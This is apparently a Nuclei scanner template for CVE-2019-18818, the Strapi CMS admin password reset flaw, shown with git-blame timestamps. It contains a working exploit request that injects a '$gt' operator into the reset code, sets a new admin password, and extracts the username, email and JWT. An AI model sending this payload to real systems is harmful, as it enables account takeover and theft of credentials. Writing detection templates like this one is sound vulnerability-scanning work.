2021-09-04 07:00:28 +00:00
id : CVE-2019-18818
info :
2022-05-09 16:12:52 +00:00
name : strapi CMS <3.0.0-beta.17.5 - Admin Password Reset
2021-09-04 07:00:28 +00:00
author : idealphase
2022-04-07 13:53:15 +00:00
severity : critical
2022-05-17 09:18:12 +00:00
description : strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel.
2023-09-06 12:53:28 +00:00
remediation : |
Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability.
2021-09-04 07:00:28 +00:00
reference :
2021-09-05 10:21:47 +00:00
- https://github.com/advisories/GHSA-6xc2-mj39-q599
2021-09-04 07:00:28 +00:00
- https://www.exploit-db.com/exploits/50239
- https://nvd.nist.gov/vuln/detail/CVE-2019-18818
2022-05-17 09:18:12 +00:00
- https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5
2023-07-11 19:49:27 +00:00
- https://github.com/strapi/strapi/pull/4443
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-18818
cwe-id : CWE-640
2024-03-23 09:28:19 +00:00
epss-score : 0.89613
epss-percentile : 0.98691
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : strapi
product : strapi
2024-01-14 09:21:50 +00:00
tags : cve,cve2019,strapi,auth-bypass,intrusive,edb
2021-09-04 07:00:28 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-09-05 10:21:47 +00:00
- raw :
- |
POST /admin/auth/reset-password HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
Content-Type : application/json
2022-05-10 07:05:15 +00:00
2021-09-05 10:21:47 +00:00
{"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1" }
2022-05-10 07:05:15 +00:00
2021-09-04 07:00:28 +00:00
matchers-condition : and
matchers :
2021-09-04 07:07:24 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-09-04 07:07:24 +00:00
words :
- "application/json"
2021-09-04 07:00:28 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-09-04 07:00:28 +00:00
words :
2021-09-05 10:21:47 +00:00
- '"username":'
- '"email":'
- '"jwt":'
2023-07-11 19:49:27 +00:00
condition : and
- type : status
status :
- 200
2021-09-04 07:00:28 +00:00
2021-09-05 10:21:47 +00:00
extractors :
- type : json
json :
- .user.username
2022-04-07 13:53:15 +00:00
- .user.email
2024-03-25 11:57:16 +00:00
# digest: 490a00463044022036b5910c68038339102ebb334435eed67716805269231a91acfa6334b41677b5022024756581334cdf1d02031f829fd0be6a56f793b15a82ff29d4517b9ae0780edd:922c64590222798bb761d5b6d8e72950